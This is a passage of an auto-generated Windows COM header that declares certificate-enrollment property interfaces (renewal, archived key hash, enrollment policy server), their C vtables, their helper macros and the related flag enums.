*/\n\n\n\n\n#endif \t/* __ICertPropertyEnrollment_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICertPropertyRenewal_INTERFACE_DEFINED__\n#define __ICertPropertyRenewal_INTERFACE_DEFINED__\n\n/* interface ICertPropertyRenewal */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertPropertyRenewal;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab33a-217d-11da-b2a4-000e7bbb2b09\")\n    ICertPropertyRenewal : public ICertProperty\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strRenewalValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeFromCertificateHash( \n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Renewal( \n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ICertPropertyRenewalVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertPropertyRenewal * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertPropertyRenewal * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertPropertyRenewal * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertPropertyRenewal * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertPropertyRenewal * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertPropertyRenewal * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertPropertyRenewal * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificate )( \n            __RPC__in ICertPropertyRenewal * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in ICertPropertyRenewal * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PropertyId )( \n            __RPC__in ICertPropertyRenewal * This,\n            /* [retval][out] */ __RPC__out CERTENROLL_PROPERTYID *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_PropertyId )( \n            __RPC__in ICertPropertyRenewal * This,\n            /* [in] */ CERTENROLL_PROPERTYID Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in ICertPropertyRenewal * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *RemoveFromCertificate )( \n            __RPC__in ICertPropertyRenewal * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *SetValueOnCertificate )( \n            __RPC__in ICertPropertyRenewal * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in ICertPropertyRenewal * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strRenewalValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificateHash )( \n            __RPC__in ICertPropertyRenewal * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Renewal )( \n            __RPC__in ICertPropertyRenewal * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } ICertPropertyRenewalVtbl;\n\n    interface ICertPropertyRenewal\n    {\n        CONST_VTBL struct ICertPropertyRenewalVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertPropertyRenewal_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertPropertyRenewal_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertPropertyRenewal_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertPropertyRenewal_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertPropertyRenewal_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertPropertyRenewal_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertPropertyRenewal_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertPropertyRenewal_InitializeFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertyRenewal_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define ICertPropertyRenewal_get_PropertyId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_PropertyId(This,pValue) ) \n\n#define ICertPropertyRenewal_put_PropertyId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_PropertyId(This,Value) ) \n\n#define ICertPropertyRenewal_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define ICertPropertyRenewal_RemoveFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> RemoveFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertyRenewal_SetValueOnCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> SetValueOnCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n\n#define ICertPropertyRenewal_Initialize(This,Encoding,strRenewalValue)\t\\\n    ( (This)->lpVtbl -> Initialize(This,Encoding,strRenewalValue) ) \n\n#define ICertPropertyRenewal_InitializeFromCertificateHash(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificateHash(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertyRenewal_get_Renewal(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_Renewal(This,Encoding,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertPropertyRenewal_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICertPropertyArchivedKeyHash_INTERFACE_DEFINED__\n#define __ICertPropertyArchivedKeyHash_INTERFACE_DEFINED__\n\n/* interface ICertPropertyArchivedKeyHash */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertPropertyArchivedKeyHash;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab33b-217d-11da-b2a4-000e7bbb2b09\")\n    ICertPropertyArchivedKeyHash : public ICertProperty\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strArchivedKeyHashValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ArchivedKeyHash( \n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ICertPropertyArchivedKeyHashVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertPropertyArchivedKeyHash * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertPropertyArchivedKeyHash * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertPropertyArchivedKeyHash * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertPropertyArchivedKeyHash * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertPropertyArchivedKeyHash * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertPropertyArchivedKeyHash * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertPropertyArchivedKeyHash * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificate )( \n            __RPC__in ICertPropertyArchivedKeyHash * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in ICertPropertyArchivedKeyHash * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PropertyId )( \n            __RPC__in ICertPropertyArchivedKeyHash * This,\n            /* [retval][out] */ __RPC__out CERTENROLL_PROPERTYID *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_PropertyId )( \n            __RPC__in ICertPropertyArchivedKeyHash * This,\n            /* [in] */ CERTENROLL_PROPERTYID Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in ICertPropertyArchivedKeyHash * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *RemoveFromCertificate )( \n            __RPC__in ICertPropertyArchivedKeyHash * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *SetValueOnCertificate )( \n            __RPC__in ICertPropertyArchivedKeyHash * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in ICertPropertyArchivedKeyHash * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strArchivedKeyHashValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ArchivedKeyHash )( \n            __RPC__in ICertPropertyArchivedKeyHash * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } ICertPropertyArchivedKeyHashVtbl;\n\n    interface ICertPropertyArchivedKeyHash\n    {\n        CONST_VTBL struct ICertPropertyArchivedKeyHashVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertPropertyArchivedKeyHash_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertPropertyArchivedKeyHash_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertPropertyArchivedKeyHash_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertPropertyArchivedKeyHash_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertPropertyArchivedKeyHash_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertPropertyArchivedKeyHash_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertPropertyArchivedKeyHash_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertPropertyArchivedKeyHash_InitializeFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertyArchivedKeyHash_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define ICertPropertyArchivedKeyHash_get_PropertyId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_PropertyId(This,pValue) ) \n\n#define ICertPropertyArchivedKeyHash_put_PropertyId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_PropertyId(This,Value) ) \n\n#define ICertPropertyArchivedKeyHash_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define ICertPropertyArchivedKeyHash_RemoveFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> RemoveFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertyArchivedKeyHash_SetValueOnCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> SetValueOnCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n\n#define ICertPropertyArchivedKeyHash_Initialize(This,Encoding,strArchivedKeyHashValue)\t\\\n    ( (This)->lpVtbl -> Initialize(This,Encoding,strArchivedKeyHashValue) ) \n\n#define ICertPropertyArchivedKeyHash_get_ArchivedKeyHash(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_ArchivedKeyHash(This,Encoding,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertPropertyArchivedKeyHash_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certenroll_0000_0061 */\n/* [local] */ \n\ntypedef \nenum EnrollmentPolicyServerPropertyFlags\n    {\n        DefaultNone\t= 0,\n        DefaultPolicyServer\t= 0x1\n    } \tEnrollmentPolicyServerPropertyFlags;\n\ntypedef \nenum PolicyServerUrlFlags\n    {\n        PsfNone\t= 0,\n        PsfLocationGroupPolicy\t= 1,\n        PsfLocationRegistry\t= 2,\n        PsfUseClientId\t= 4,\n        PsfAutoEnrollmentEnabled\t= 16,\n        PsfAllowUnTrustedCA\t= 32\n    } \tPolicyServerUrlFlags;\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0061_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0061_v0_0_s_ifspec;\n\n#ifndef __ICertPropertyEnrollmentPolicyServer_INTERFACE_DEFINED__\n#define __ICertPropertyEnrollmentPolicyServer_INTERFACE_DEFINED__\n\n/* interface ICertPropertyEnrollmentPolicyServer */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertPropertyEnrollmentPolicyServer;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab34a-217d-11da-b2a4-000e7bbb2b09\")\n    ICertPropertyEnrollmentPolicyServer : public ICertProperty\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ EnrollmentPolicyServerPropertyFlags PropertyFlags,\n            /* [in] */ X509EnrollmentAuthFlags AuthFlags,\n            /* [in] */ X509EnrollmentAuthFlags EnrollmentServerAuthFlags,\n            /* [in] */ PolicyServerUrlFlags UrlFlags,\n            /* [in] */ __RPC__in BSTR strRequestId,\n            /* [in] */ __RPC__in BSTR strUrl,\n            /* [in] */ __RPC__in BSTR strId,\n            /* [in] */ __RPC__in BSTR strEnrollmentServerUrl) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetPolicyServerUrl( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetPolicyServerId( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetEnrollmentServerUrl( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetRequestIdString( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetPropertyFlags( \n            /* [retval][out] */ __RPC__out EnrollmentPolicyServerPropertyFlags *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetUrlFlags( \n            /* [retval][out] */ __RPC__out PolicyServerUrlFlags *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetAuthentication( \n            /* [retval][out] */ __RPC__out X509EnrollmentAuthFlags *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetEnrollmentServerAuthentication( \n            /* [retval][out] */ __RPC__out X509EnrollmentAuthFlags *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ICertPropertyEnrollmentPolicyServerVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertPropertyEnrollmentPolicyServer * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertPropertyEnrollmentPolicyServer * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertPropertyEnrollmentPolicyServer * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertPropertyEnrollmentPolicyServer * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertPropertyEnrollmentPolicyServer * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertPropertyEnrollmentPolicyServer * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertPropertyEnrollmentPolicyServer * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificate )( \n            __RPC__in ICertPropertyEnrollmentPolicyServer * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in ICertPropertyEnrollmentPolicyServer * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PropertyId )( \n            __RPC__in ICertPropertyEnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__out CERTENROLL_PROPERTYID *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_PropertyId )( \n            __RPC__in ICertPropertyEnrollmentPolicyServer * This,\n            /* [in] */ CERTENROLL_PROPERTYID Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in ICertPropertyEnrollmentPolicyServer * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *RemoveFromCertificate )( \n            __RPC__in ICertPropertyEnrollmentPolicyServer * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *SetValueOnCertificate )( \n            __RPC__in ICertPropertyEnrollmentPolicyServer * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in ICertPropertyEnrollmentPolicyServer * This,\n            /* [in] */ EnrollmentPolicyServerPropertyFlags PropertyFlags,\n            /* [in] */ X509EnrollmentAuthFlags AuthFlags,\n            /* [in] */ X509EnrollmentAuthFlags EnrollmentServerAuthFlags,\n            /* [in] */ PolicyServerUrlFlags UrlFlags,\n            /* [in] */ __RPC__in BSTR strRequestId,\n            /* [in] */ __RPC__in BSTR strUrl,\n            /* [in] */ __RPC__in BSTR strId,\n            /* [in] */ __RPC__in BSTR strEnrollmentServerUrl);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetPolicyServerUrl )( \n            __RPC__in ICertPropertyEnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetPolicyServerId )( \n            __RPC__in ICertPropertyEnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetEnrollmentServerUrl )( \n            __RPC__in ICertPropertyEnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetRequestIdString )( \n            __RPC__in ICertPropertyEnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetPropertyFlags )( \n            __RPC__in ICertPropertyEnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__out EnrollmentPolicyServerPropertyFlags *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetUrlFlags )( \n            __RPC__in ICertPropertyEnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__out PolicyServerUrlFlags *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetAuthentication )( \n            __RPC__in ICertPropertyEnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__out X509EnrollmentAuthFlags *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetEnrollmentServerAuthentication )( \n            __RPC__in ICertPropertyEnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__out X509EnrollmentAuthFlags *pValue);\n        \n        END_INTERFACE\n    } ICertPropertyEnrollmentPolicyServerVtbl;\n\n    interface ICertPropertyEnrollmentPolicyServer\n    {\n        CONST_VTBL struct ICertPropertyEnrollmentPolicyServerVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertPropertyEnrollmentPolicyServer_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertPropertyEnrollmentPolicyServer_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertPropertyEnrollmentPolicyServer_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertPropertyEnrollmentPolicyServer_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertPropertyEnrollmentPolicyServer_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertPropertyEnrollmentPolicyServer_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertPropertyEnrollmentPolicyServer_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertPropertyEnrollmentPolicyServer_InitializeFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertyEnrollmentPolicyServer_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define ICertPropertyEnrollmentPolicyServer_get_PropertyId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_PropertyId(This,pValue) ) \n\n#define ICertPropertyEnrollmentPolicyServer_put_PropertyId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_PropertyId(This,Value) ) \n\n#define ICertPropertyEnrollmentPolicyServer_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define ICertPropertyEnrollmentPolicyServer_RemoveFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( 